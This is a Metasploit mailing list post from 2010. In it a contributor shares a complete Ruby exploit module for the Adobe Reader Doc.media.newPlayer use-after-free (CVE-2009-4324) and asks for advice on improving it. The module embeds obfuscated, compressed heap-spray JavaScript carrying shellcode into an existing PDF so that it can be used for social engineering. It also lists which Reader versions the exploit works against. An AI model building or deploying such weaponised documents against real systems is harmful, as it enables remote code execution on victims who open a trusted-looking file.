Metasploit mailing list archives

Re: adobe_media_newplayer Extension developpement


From: Thibault Magné <aemaeth.2501 () gmail com>
Date: Thu, 1 Apr 2010 16:32:06 -0400

Hi back,

I modified xref_create method to get it make what I wanted. Now everything
works correctly on some pdf files more complicated than a hello-world one.

I join there the entire rb file, please tell me how could I improve it to
get it look like less tinkering.

Regards,
__________________________
##
# $Id: adobe_media_newplayer_embedded.rb 8190 2010-01-21 19:26:04Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
    #To fix
    Rank = GoodRanking

    include Msf::Exploit::PDF_Parse
    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Adobe Doc.media.newPlayer Use After Free
Vulnerability Extension',
            'Description'    => %q{
                This module exploits a use after free vulnerability in Adobe
Reader and Adobe Acrobat
                Professional versions up to and including 9.2.
                It adds the possibility to add the exploit into an existing
pdf document to enhance social engineering.
                Note : adobe_media_newplayer and adobe_pdf_embedded_exe
reingineering.
                Todo : allow to let INFILENAME void => adobe_media_newplayer
original exploit
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'unknown', # Found in the wild
                    # Metasploit version by:
                    'hdm',
                    'pusscat',
                    'jduck',
                    'aemaeth'
                ],
            'Version'        => '$Revision: 8190 $',
            'References'     =>
                [
                    [ 'CVE', '2009-4324' ],
                    [ 'BID', '37331' ],
                    [ 'OSVDB', '60980' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1024,
                    'BadChars'      => "\x00",
                    'DisableNops'     => true
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # test results (on Windows XP SP3)
                    # reader 6.0.1 - vulnerable / doesn't work
                    # reader 7.0.5 - untested
                    # reader 7.0.8 - untested
                    # reader 7.0.9 - vulnerable / doesn't work
                    # reader 7.1.0 - untested
                    # reader 7.1.1 - untested
                    # reader 8.0.0 - untested
                    # reader 8.1.1 - works
                    # reader 8.1.2 - untested
                    # reader 8.1.3 - untested
                    # reader 8.1.4 - untested
                    # reader 8.1.5 - untested
                    # reader 8.1.6 - untested
                    # reader 9.0.0 - untested
                    # reader 9.1.0 - works
                    # reader 9.2 - works (no debugger, no DEP)
                    [ 'Adobe Reader Windows English (JS Heap Spray)',
                        {
                            'Size'        => (0x10000/2),
                            'Ret'       => 0x0c0c0c0c,
                        }
                    ],
                    [ 'Adobe Reader Windows German (JS Heap Spray)',
                        {
                            'Size'        => (0x10000/2),
                            'Ret'       => 0x0a0a0a0a,
                        }
                    ],
                ],
            'DisclosureDate' => 'Dec 14 2009',
            'DefaultTarget'  => 0))

        register_options(
             [
                OptString.new('FILENAME', [ true, 'The resultant file
name.',  'msf.pdf']),
                OptString.new('INFILENAME', [ true, 'The file name to add
exploit to.',  '']),
            ], self.class)

    end

    def exploit

        # Encode the shellcode.
        shellcode = Rex::Text.to_unescape(payload.encoded,
Rex::Arch.endian(target.arch))

        # Make some nops
        nops      = Rex::Text.to_unescape([target.ret].pack('V'))

        # Randomize variables
        len    = 72
        rand1  = rand_text_alpha(rand(100) + 1)
        rand2  = rand_text_alpha(rand(100) + 1)
        rand3  = rand_text_alpha(rand(100) + 1)
        rand4  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' +
'\1')
        rand5  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' +
'\1')

        vtbuf = [target.ret].pack('V') * 4
        vtbuf << rand_text_alpha(len - vtbuf.length)
        vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
        retstring  = Rex::Text.to_unescape(vtbuf)

        # The printd strings are 72 bytes (??)
        script = %Q|
            var #{rand1} = unescape("#{shellcode}");
            var #{rand2} = unescape("#{nops}");
            var #{rand3} = unescape("#{retstring}");

            while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
                #{rand2}=#{rand2}.substring(0,#{target['Size']} -
#{rand1}.length);

            memory=new Array();

            for(i=0;i<0x2000;i++) {
                memory[i]= #{rand2} + #{rand1};
            }

            util.printd("#{rand4}", new Date());
            util.printd("#{rand5}", new Date());
            try {this.media.newPlayer(null);} catch(e) {}
            util.printd(#{rand3}, new Date());
        |

        pdf = make_pdf(script,datastore['INFILENAME'])

        print_status("Creating '#{datastore['FILENAME']}' file...")
        #Print out the output
        file_create(pdf)

    end


    def RandomNonASCIIString(count)
        result = ""
        count.times do
            result << (rand(128) + 128).chr
        end
        result
    end

    #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
    def nObfu(str)
        result = ""
        str.scan(/./u) do |c|
            if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                result << "#%x" % c.unpack("C*")[0]
            else
                result << c
            end
        end
        result
    end


    def ASCIIHexWhitespaceEncode(str)
        result = ""
        whitespace = ""
        str.each_byte do |b|
            result << whitespace << "%02x" % b
            whitespace = " " * (rand(3) + 1)
        end
        result << ">"
    end

    #Haven't found why original method gave me bad result, rewriting it...
    def xref_create(stream,offset,num_obj)
    xref = Array.new()
    object = String.new()

        len = stream.length
        n = offset
        while n < len
        obj = stream.index(/(\d+) \d obj/,n)
        if obj != nil
        num = obj.to_s
        dif = 10 - num.length
        out = String.new
        while dif > 0
        out << "0"
        dif -= 1
        end
        out << num
        xref.push("#{out}")
        n = Regexp.last_match.end(0)
        else
            break
        end
        end

    output = String.new()
    output << "0 #{xref.length}\r\n0000000000 65535 f\r\n"
    xref.each {|xref_| output << "#{xref_} 00000 n\r\n"
    }
    return output
    end


    def make_pdf(js,file_name)
        eol = "\x0d\x0a"

        stream = read_pdf()

        print_status("Parsing '#{file_name}'...")

        pdf_objects = parse_pdf(stream)

        print_status("Parsing Successful.")

        xref_trailers   = pdf_objects[0]
        trailers  = pdf_objects[1]
        startxrefs  = pdf_objects[2]
        root_obj  = pdf_objects[3]

        new_pdf = String.new()
        new_pdf << "%PDF-1.5" << eol

        new_pdf << "%" << RandomNonASCIIString(4) << eol

        #Catalog modification"
        catalog = parse_object(xref_trailers,root_obj,stream)
        if catalog.match(/OpenAction/m)
            match = catalog.match(/OpenAction (\d+ \d) R/m)
            if match
                new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m,
"OpenAction #{trailers[0].fetch("Size").to_i} 0 R")
            end
        else
            new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' +
"/OpenAction #{trailers[0].fetch("Size").to_i} 0 R")
        end

        if new_catalog
            new_pdf << new_catalog
        else
            print_status("Unable to parse catalog...")
        end

        #Rewriting original objects
        1.upto((trailers[0].fetch("Size").to_i) - 1) { |obj_num|
            if !("#{obj_num} 0" == root_obj)
            obj_name = "#{obj_num} 0"
            new_pdf << parse_object(xref_trailers,obj_name,stream)
            end
        }

        pdf_init_size = trailers[0].fetch("Size").to_i

        #Adding the exploit objects (2)

        new_pdf << "#{pdf_init_size} 0 obj" << eol
        new_pdf << nObfu("<</Type/Action/S/JavaScript/JS ") +
"#{pdf_init_size +1} 0 R >>"
        new_pdf << "endobj" << eol


        compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
        new_pdf << "#{pdf_init_size +1} 0 obj" << eol
        new_pdf << nObfu("<</Length
%s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
        new_pdf << "stream"<< eol
        new_pdf << compressed << eol
        new_pdf << "endstream"<< eol
        new_pdf << "endobj" << eol

        start_xrefs = new_pdf.length

        #Writing xrefs
        xrefs = xref_create(new_pdf,0,"*")
        new_pdf << "xref"<< eol
        new_pdf << xrefs

        #Writing trailer
        #Could could be done better
        new_pdf << "trailer" << eol << "<<" << eol
        pdf_objects[1][0].each { |key,val|
        if key == "Root"
            new_pdf << "/#{key} #{val} R" << eol
        else
            if key == "Size"
                size = (val.to_i + 2).to_s
                new_pdf << "/#{key} #{size}" << eol
            end
        end

        }
        new_pdf << ">>" << eol

        #Writing startxref
        new_pdf << "startxref" << eol
        new_pdf << start_xrefs.to_s << eol

        #Writing EOF
        new_pdf << "%%EOF"

        return new_pdf

    end

end
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: